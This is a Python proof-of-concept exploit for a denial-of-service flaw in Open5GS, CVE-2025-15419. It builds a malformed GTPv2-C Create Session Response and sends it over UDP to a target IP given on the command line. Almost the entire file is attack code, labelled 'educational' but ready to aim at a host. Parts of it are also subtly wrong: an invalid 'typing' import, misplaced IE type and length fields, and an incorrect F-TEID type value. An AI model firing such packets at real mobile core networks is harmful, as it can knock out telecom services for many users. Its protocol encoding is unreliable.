#!/usr/bin/env python3
"""
CVE-2025-15419 PoC - Open5GS GTPv2-C DoS
Note: This is a conceptual PoC for educational purposes only.
Actual exploitation requires GTPv2-C protocol knowledge and Open5GS internals.
"""
import socket
import struct
from typing import bytes
def build_gtpv2c_create_session_response(teid: int, sequence: int) -> bytes:
"""
Build a malicious GTPv2-C Create Session Response message
that triggers the vulnerability in sgwc_s5c_handle_create_session_response
"""
# GTPv2-C Header
version = 0x2 << 5 # Version 2
flags = 0x30 # TEID present, no piggybacking
message_type = 0x36 # Create Session Response
# Message header
header = bytearray([
version | flags,
message_type,
0x00, 0x00, # Length (to be filled)
(teid >> 24) & 0xFF,
(teid >> 16) & 0xFF,
(teid >> 8) & 0xFF,
teid & 0xFF,
(sequence >> 16) & 0xFF,
(sequence >> 8) & 0xFF,
sequence & 0xFF,
0xFF # spare
])
# IE: Cause (mandatory)
cause_ie = bytearray([
0x02, 0x00, # IE Type: Cause
0x00, 0x06, # Length
0x00, # Spare + T (triggering message)
0x10, # Cause: Request accepted
0x00, 0x00 # Spare
])
# IE: F-TEID (with crafted data to trigger vulnerability)
fteid_ie = bytearray([
0x00, 0x01, # IE Type: F-TEID
0x00, 0x0A, # Length
0x80, # Flags
0x00, 0x00, 0x00, 0x01, # TEID
0x00, # IPv4 address (incomplete)
0x00, 0x00 # Interface type
])
payload = cause_ie + fteid_ie
# Update length in header (header without first 4 bytes)
length = len(payload)
header[2] = (length >> 8) & 0xFF
header[3] = length & 0xFF
return bytes(header) + bytes(payload)
def send_malicious_packet(target_ip: str, target_port: int, teid: int):
"""
Send malicious GTPv2-C packet to trigger DoS
"""
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
sequence = 0x123456
packet = build_gtpv2c_create_session_response(teid, sequence)
try:
sock.sendto(packet, (target_ip, target_port))
print(f"[+] Malicious packet sent to {target_ip}:{target_port}")
print(f"[+] TEID: {hex(teid)}, Sequence: {hex(sequence)}")
except Exception as e:
print(f"[-] Error sending packet: {e}")
finally:
sock.close()
if __name__ == "__main__":
import sys
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <teid>")
sys.exit(1)
target_ip = sys.argv[1]
teid = int(sys.argv[2], 0)
target_port = 2123 # Default GTPv2-C control plane port
send_malicious_packet(target_ip, target_port, teid)